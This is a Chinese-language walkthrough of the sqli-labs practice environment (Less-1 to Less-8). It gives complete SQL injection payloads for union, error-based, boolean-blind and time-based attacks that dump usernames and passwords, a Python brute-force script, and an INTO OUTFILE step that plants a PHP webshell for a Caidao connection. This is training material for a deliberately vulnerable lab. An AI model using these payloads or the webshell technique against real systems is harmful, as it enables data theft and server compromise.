Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)

简介: Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)


Less-18 user-agent头注入

Less-19 referer头注入

Less-20 cookie头注入

Less-21 cookie头注入+base64

Less-22 cookie头注入+base64


Less-1 联合注入

当输入?id=1时,显示对应的Login name与Password

①推测闭合方式

输入\,后面是’,应该是单引号闭合

?id=1’报错

?id=1’ --+不报错

说明确实是单引号闭合

②手工查询有多少栏目

?id=1’ order by 2–+

发现3的时候可以,4的时候不可以,说明有3列

③显示报错位

?id=-1’ union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

④爆库名

?id=-1’ union select 1,database(),3 --+

security

⑤爆表名

?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 3,1 --+

0,1是从第0个开始取,每次取一个

尝试0,1 1,1 2,1 3,1 发现到4,1不行

或者

?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+

一次性爆出表名:emails,referers,uagents,users

⑥爆列名

?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

爆出列名:id,username,password

⑦爆数据

?id=-1’ union select 1,group_concat(username),group_concat(password) from users --+

或者:?id=-1’ union select 1,group_concat(username,password),3 from users --+

或者:为了格式好看

?id=-1’ union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

补充:Ascii码的一些转换:ASCII_百度百科

Less-2

同Less-1,没有闭合方式

Less-3

同Less-1,')闭合

Less-4

同Less-1,")闭合

Less-5 报错注入/布尔盲注/时间盲注

这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

发现它并没有显示位

①判断闭合方式

?id=1\

发现是’闭合

②判断注入点

?id=1’ and 1=1 --+

发现页面无回显

查询语句正确时页面会打印You are in…,错误则不显示

③爆库名

?id=1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

库名:security

②爆表名

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x7e),1) --+

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+

表名:emails,referers,uagents,users

③爆列名

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+

列名:id,username,password

④爆数据

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

Less-6 报错注入/布尔盲注/时间盲注

布尔型注入:

这个地方进行了数据库查询,但是没有显示位,报错不会出现信息

错误和正确页面有区别

这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

无回显的

①判断闭合方式

?id=1\

发现是"闭合

?id=1" --+成功

②判断数据库长度

?id=1" and length(database())

所以库名长度=8

②判断数据库名中字母

select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,每次截取1个

select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

select ascii(substr(database(),1,1)) < 100;

所以

?id=1" and ascii(substr(database(),1,1))>114 --+

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = ‘http://www.wangehacker.cn/sqli-labs/Less-6/?id=1’
res = ‘’
select = “select database()”
for i in range(1, 100):
for ascii in range(32, 128):
id = ‘1" and ascii(substr(({}),{},1))={}%23’.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if “You are in” in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print(‘{}’.format(res))
exit(0)

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

select group_concat(column_name) from information_schema.columns where table_schema=‘security’

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1’)) and 1=1–+成功

所以是’))闭合

②猜列数

?id=1’)) order by 3–+ 列数为3

③导入一句话木马

?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+

虽然提示报错,但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1’ and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1’ and if(length(database())=8,sleep(5),null)–+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+


相关文章
学妹跑过来问我为啥Xshell 打不开了,让我帮她处理下【手把手讲解】
学妹跑过来问我为啥Xshell 打不开了,让我帮她处理下【手把手讲解】
学妹跑过来问我为啥Xshell 打不开了,让我帮她处理下【手把手讲解】
|
6月前
|
CDN
惊呆了、老铁。CSDN竟然有GitHub的加速功能????
这篇文章介绍了几种加速访问GitHub的方法,包括使用镜像网站、代理网站下载、利用CDN加速以及转入Gitee平台进行加速。作者建议,对于较大的项目推荐使用代理网站或Gitee下载,而对于较小的项目,使用CDN加速即可满足需求。
惊呆了、老铁。CSDN竟然有GitHub的加速功能????
|
6月前
|
安全 网络安全
GitHub星标4000!清华大牛的CTF竞赛入门指南,真的太香了!
想进入网络安全行业、实现从学校到职场的跨越,参加CTF竞赛是很好的成长途径。 通俗而言,CTF是模拟“黑客”所使用的技术、工具、方法等手段发展出来的网络安全竞赛,有了手段之后需要的就是经验与黑客感(HackorFeel)。 CTF赛题涉及的领域很广,市面上也早有在知识广度上均有所覆盖的CTF书籍,但没有深入单一领域的内容,尤其是Pwn方向的。 Pwn是网络安全攻防最有魅力的部分,对于原教旨攻防人士来说,Pwm才是原汁原味的技术体现。二进制Pwn一直是CTF比赛的热点和难点。
|
8月前
|
程序员 Python
GitHub爆赞!最适合新手入门的教程——笨方法学Python 3
“Python 是一门既容易上手又强大的编程语言。”这句话本身并无大碍,但需要注意的是,正因为它既好学又好用,所以很多 Python 程序员只用到了其强大功能的一小部分。 今天给小伙伴们分享的这份手册以习题的方式引导读者一步一步学习编程,从简单的打印一直讲到完整项目的实现。
|
9月前
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
9月前
|
开发工具 数据库 git
通俗易懂!看漫画学Python入门教程(全彩版)Git首发破万Star
很多编程语言书读起来都略显晦涩,让不少读者望而却步,很难坚持读完。关老师的新书另辟蹊径,以漫画形式切入,生动有趣,把复杂的技术点和编程知识讲解得通俗易懂真正体现了一图胜干言的道理。而且每章结束时都有“练一练”环节,能够帮助读者夯实基础、锻炼技能。不得不说,这是一本Python入门和进阶佳作。
愿你被这个世界温柔以待(第二十课)最优秀的仓库Gitee(二)
愿你被这个世界温柔以待(第二十课)最优秀的仓库Gitee(二)
69 0
愿你被这个世界温柔以待(第二十课)最优秀的仓库Gitee(二)
|
9月前
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
9月前
|
SQL 安全 数据库
SQLI-Labs通关笔记(1-5)
SQLI-Labs通关笔记(1-5)
85 0
|
9月前
|
SQL 关系型数据库 MySQL
【sqli靶场】第二关和第三关通关思路
【sqli靶场】第二关和第三关通关思路
110 0